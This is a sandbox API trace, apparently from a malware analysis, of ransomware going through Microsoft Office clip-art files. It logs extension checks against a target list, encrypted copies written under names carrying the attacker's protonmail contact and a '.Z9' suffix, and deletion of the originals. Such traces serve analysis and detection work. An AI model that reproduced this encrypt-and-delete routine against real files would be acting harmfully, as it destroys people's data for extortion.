	[0170.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0170.736] lstrlenW (lpString=".dbf") returned 4
	[0170.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0170.736] lstrlenW (lpString=".1cd") returned 4
	[0170.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0170.736] lstrlenW (lpString=".jpg") returned 4
	[0170.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0170.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0170.737] lstrlenW (lpString=".doc") returned 4
	[0170.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.737] lstrlenW (lpString=".docx") returned 5
	[0170.737] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0170.737] lstrlenW (lpString=".pdf") returned 4
	[0170.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.737] lstrlenW (lpString=".xls") returned 4
	[0170.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.737] lstrlenW (lpString=".xlsx") returned 5
	[0170.737] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0170.737] lstrlenW (lpString=".ppt") returned 4
	[0170.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0170.737] lstrlenW (lpString=".zip") returned 4
	[0170.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.737] lstrlenW (lpString=".rar") returned 4
	[0170.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.737] lstrlenW (lpString=".bz2") returned 4
	[0170.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.737] lstrlenW (lpString=".7z") returned 3
	[0170.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0170.737] lstrlenW (lpString=".dbf") returned 4
	[0170.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0170.737] lstrlenW (lpString=".1cd") returned 4
	[0170.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68
	[0170.737] lstrlenW (lpString=".jpg") returned 4
	[0170.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.738] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0170.738] lstrlenW (lpString="J0105348.WMF") returned 12
	[0170.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0170.840] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=17060) returned 1
	[0170.840] CloseHandle (hObject=0x4bc) returned 1
	[0170.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 0x220
	[0170.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0170.842] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.842] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0170.842] GetLastError () returned 0x0
	[0170.842] ReadFile (in: hFile=0x4bc, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x42a4, lpOverlapped=0x0) returned 1
	[0170.856] WriteFile (in: hFile=0x52c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x42b0, lpOverlapped=0x0) returned 1
	[0170.858] ReadFile (in: hFile=0x4bc, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.858] WriteFile (in: hFile=0x52c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.859] SetEndOfFile (hFile=0x52c) returned 1
	[0170.859] CloseHandle (hObject=0x52c) returned 1
	[0170.859] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.859] SetEndOfFile (hFile=0x4bc) returned 1
	[0170.862] CloseHandle (hObject=0x4bc) returned 1
	[0170.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0170.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 1
	[0170.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0170.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0170.863] lstrlenW (lpString=".doc") returned 4
	[0170.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.863] lstrlenW (lpString=".docx") returned 5
	[0170.863] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0170.863] lstrlenW (lpString=".pdf") returned 4
	[0170.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.863] lstrlenW (lpString=".xls") returned 4
	[0170.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.863] lstrlenW (lpString=".xlsx") returned 5
	[0170.863] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0170.863] lstrlenW (lpString=".ppt") returned 4
	[0170.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0170.864] lstrlenW (lpString=".zip") returned 4
	[0170.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.864] lstrlenW (lpString=".rar") returned 4
	[0170.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.864] lstrlenW (lpString=".bz2") returned 4
	[0170.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.864] lstrlenW (lpString=".7z") returned 3
	[0170.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0170.864] lstrlenW (lpString=".dbf") returned 4
	[0170.864] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0170.864] lstrlenW (lpString=".1cd") returned 4
	[0170.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0170.864] lstrlenW (lpString=".jpg") returned 4
	[0170.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0170.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0170.864] lstrlenW (lpString=".doc") returned 4
	[0170.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.864] lstrlenW (lpString=".docx") returned 5
	[0170.864] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0170.864] lstrlenW (lpString=".pdf") returned 4
	[0170.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.864] lstrlenW (lpString=".xls") returned 4
	[0170.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.864] lstrlenW (lpString=".xlsx") returned 5
	[0170.864] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0170.864] lstrlenW (lpString=".ppt") returned 4
	[0170.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0170.864] lstrlenW (lpString=".zip") returned 4
	[0170.865] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.865] lstrlenW (lpString=".rar") returned 4
	[0170.865] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.865] lstrlenW (lpString=".bz2") returned 4
	[0170.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.865] lstrlenW (lpString=".7z") returned 3
	[0170.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0170.865] lstrlenW (lpString=".dbf") returned 4
	[0170.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0170.865] lstrlenW (lpString=".1cd") returned 4
	[0170.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0170.865] lstrlenW (lpString=".jpg") returned 4
	[0170.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.865] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0170.865] lstrlenW (lpString="J0105360.WMF") returned 12
	[0170.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0170.866] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=8860) returned 1
	[0170.866] CloseHandle (hObject=0x4bc) returned 1
	[0170.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 0x220
	[0170.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0170.867] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.867] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0170.867] GetLastError () returned 0x0
	[0170.867] ReadFile (in: hFile=0x4bc, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x229c, lpOverlapped=0x0) returned 1
	[0170.891] WriteFile (in: hFile=0x52c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x22a0, lpOverlapped=0x0) returned 1
	[0170.892] ReadFile (in: hFile=0x4bc, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.892] WriteFile (in: hFile=0x52c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.893] SetEndOfFile (hFile=0x52c) returned 1
	[0170.893] CloseHandle (hObject=0x52c) returned 1
	[0170.893] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.893] SetEndOfFile (hFile=0x4bc) returned 1
	[0170.930] CloseHandle (hObject=0x4bc) returned 1
	[0170.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0170.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 1
	[0170.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0170.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0170.931] lstrlenW (lpString=".doc") returned 4
	[0170.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.931] lstrlenW (lpString=".docx") returned 5
	[0170.931] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0170.931] lstrlenW (lpString=".pdf") returned 4
	[0170.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.931] lstrlenW (lpString=".xls") returned 4
	[0170.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.931] lstrlenW (lpString=".xlsx") returned 5
	[0170.931] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0170.931] lstrlenW (lpString=".ppt") returned 4
	[0170.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0170.931] lstrlenW (lpString=".zip") returned 4
	[0170.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.932] lstrlenW (lpString=".rar") returned 4
	[0170.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.932] lstrlenW (lpString=".bz2") returned 4
	[0170.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.932] lstrlenW (lpString=".7z") returned 3
	[0170.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0170.932] lstrlenW (lpString=".dbf") returned 4
	[0170.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0170.932] lstrlenW (lpString=".1cd") returned 4
	[0170.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0170.932] lstrlenW (lpString=".jpg") returned 4
	[0170.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0170.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0170.932] lstrlenW (lpString=".doc") returned 4
	[0170.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.932] lstrlenW (lpString=".docx") returned 5
	[0170.932] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0170.932] lstrlenW (lpString=".pdf") returned 4
	[0170.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.932] lstrlenW (lpString=".xls") returned 4
	[0170.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.932] lstrlenW (lpString=".xlsx") returned 5
	[0170.932] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0170.932] lstrlenW (lpString=".ppt") returned 4
	[0170.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0170.933] lstrlenW (lpString=".zip") returned 4
	[0170.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.933] lstrlenW (lpString=".rar") returned 4
	[0170.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.933] lstrlenW (lpString=".bz2") returned 4
	[0170.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.933] lstrlenW (lpString=".7z") returned 3
	[0170.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0170.933] lstrlenW (lpString=".dbf") returned 4
	[0170.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0170.933] lstrlenW (lpString=".1cd") returned 4
	[0170.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0170.933] lstrlenW (lpString=".jpg") returned 4
	[0170.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.933] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0170.933] lstrlenW (lpString="J0105378.WMF") returned 12
	[0170.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0171.540] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=4964) returned 1
	[0171.541] CloseHandle (hObject=0x524) returned 1
	[0171.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 0x220
	[0171.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0171.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0171.548] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.548] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0171.557] GetLastError () returned 0x0
	[0171.557] ReadFile (in: hFile=0x460, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x1364, lpOverlapped=0x0) returned 1
	[0171.563] WriteFile (in: hFile=0x520, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x1370, lpOverlapped=0x0) returned 1
	[0171.564] ReadFile (in: hFile=0x460, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.564] WriteFile (in: hFile=0x520, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.564] SetEndOfFile (hFile=0x520) returned 1
	[0171.565] CloseHandle (hObject=0x520) returned 1
	[0171.565] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.565] SetEndOfFile (hFile=0x460) returned 1
	[0171.572] CloseHandle (hObject=0x460) returned 1
	[0171.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0171.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 1
	[0171.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0171.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0171.573] lstrlenW (lpString=".doc") returned 4
	[0171.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.573] lstrlenW (lpString=".docx") returned 5
	[0171.573] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0171.573] lstrlenW (lpString=".pdf") returned 4
	[0171.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.574] lstrlenW (lpString=".xls") returned 4
	[0171.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.574] lstrlenW (lpString=".xlsx") returned 5
	[0171.574] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0171.574] lstrlenW (lpString=".ppt") returned 4
	[0171.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0171.574] lstrlenW (lpString=".zip") returned 4
	[0171.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.574] lstrlenW (lpString=".rar") returned 4
	[0171.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.574] lstrlenW (lpString=".bz2") returned 4
	[0171.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.574] lstrlenW (lpString=".7z") returned 3
	[0171.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
